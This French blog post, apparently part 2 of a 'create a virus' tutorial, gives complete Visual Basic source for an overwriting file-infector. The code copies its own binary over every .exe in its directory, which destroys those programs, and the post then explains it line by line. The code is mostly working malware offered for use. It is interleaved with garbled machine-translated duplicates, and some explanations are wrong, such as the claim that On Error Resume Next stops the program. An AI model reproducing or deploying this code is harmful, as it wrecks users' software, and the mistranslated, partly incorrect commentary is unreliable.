Créer un virus - partie 2/2

Les virus informatiques sont sous de nombreuses formes avec de nombreuses fonctions différentes. Certains sont plutôt simplistes et peuvent être détectés par l'utilisateur moyen tandis que d'autres sont complexes et passent inaperçus pendant un certain temps. Les virus les plus courants relevant de la classification des infecteurs de fichiers, qui fonctionnent en infectant des fichiers exécutables. Ils y parviennent en insérant leur code malveillant dans une zone du fichier d'origine, lui permettant d'être exécutée chaque fois que le fichier est accessible Certains d'entre eux sont capables de complètement écraser un fichier, ce qui rend tout un programme inutile.
 

C’est le cas de ce type de virus que nous allons voir aujourd’hui. Les virus Overwritters.

Je sais que les virus overwritters , n'ont malheureusement plus aucune chance de se propager et ils ne sont pas "intelligent". Malgré tout cela overwritters peut vous aider à comprendre les bases du VRAI virus. Je vais vous donner le code d'abord et ensuite on va le passer en revue.

-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=

 

 Option Explicit Option Explicit

 Dim myarray() As Byte myarray Dim () As Byte

 Dim victim As String victime Dim As String

 Const mysize As Integer = 11776 mysize Const As Integer = 11776

 

 Private Sub Form_Load() Private Sub Form_Load ()

 On Error Resume Next On Error Resume Next

 Dim Free Dim gratuit

 Free = FreeFile Free = FreeFile

 

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free

 ReDim myarray(mysize) ReDim MonTableau (mysize)

 Get #1, 1, myarray Obtenez myarray # 1, 1,

 Close #Free Close # Free

 

 victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")

 While victim <> "" Bien que victime <> ""

 

 Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free

 Put #1, , myarray Put # 1,, myarray

 Put #1, , mysize Put # 1,, mysize

 Close #Free Close # Free

 

 victim = Dir() victime = Dir ()

 

 Wend Wend

 

 End End

 End Sub End Sub

  -=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=

 

Décodons tout cela : (miam ! J)

 Option Explicit Option Explicit

 Dim myarray() As Byte myarray Dim () As Byte

 Dim victim As String victime Dim As String

 Const mysize As Integer = 11776 mysize Const As Integer = 11776

Ici, nous définissons les variables que nous allons utiliser, le "myarray ()" variable qui contient le code binaire du virus, "victime" est la variable qui contient le nom du fichier de la victime et le "mysize" variable contient la taille du virus.

 Private Sub Form_Load() Private Sub Form_Load ()

 On Error Resume Next On Error Resume Next

Nous ouvrons le sous dossier que nous allons utiliser (Form_Load), et nous avons mis notre erreur poignée c'est-à-dire qu’en cas d’erreur le programme s’arrêtera là.

 Dim Free Dim gratuit

 Free = FreeFile Free = FreeFile

C'est une bonne idée de prendre exemple sur le virus y2k. Cela vous débarrasse de la lecture / écriture des erreurs, car il est open source.

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free

 ReDim myarray(mysize) ReDim MonTableau (mysize)

 Get #1, 1, myarray Obtenez myarray # 1, 1,

 Close #Free Close # Free

Maintenant, nous allons sortir le code binaire de nos virus et nous allons le stocker dans la variable "myarray".

 victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")

 While victim <> "" Bien que victime <> ""

 

 Open App.Path & "\" & victim For Binary Access Write As #Free Open App.Path & "\" & victime pour l'accès binaire Ecrivez comme # Free

 Put #1, , myarray Put # 1,, myarray

 Put #1, , mysize Put # 1,, mysize

 Close #Free Close # Free

Ici, nous définissons la variable « victime » et nous avons mis notre code binaire dans le programme de la victime.

 victim = Dir() victime = Dir ()

 

 Wend Wend

Puis nous avons mis la victime à zéro, et nous répétons l'ensemble du processus d'infecter tous les fichiers. Exe dans le répertoire courant.

 End End

 End Sub End Sub

Et enfin, nous fermons le programme et les sous dossiers.

Posted in: Virus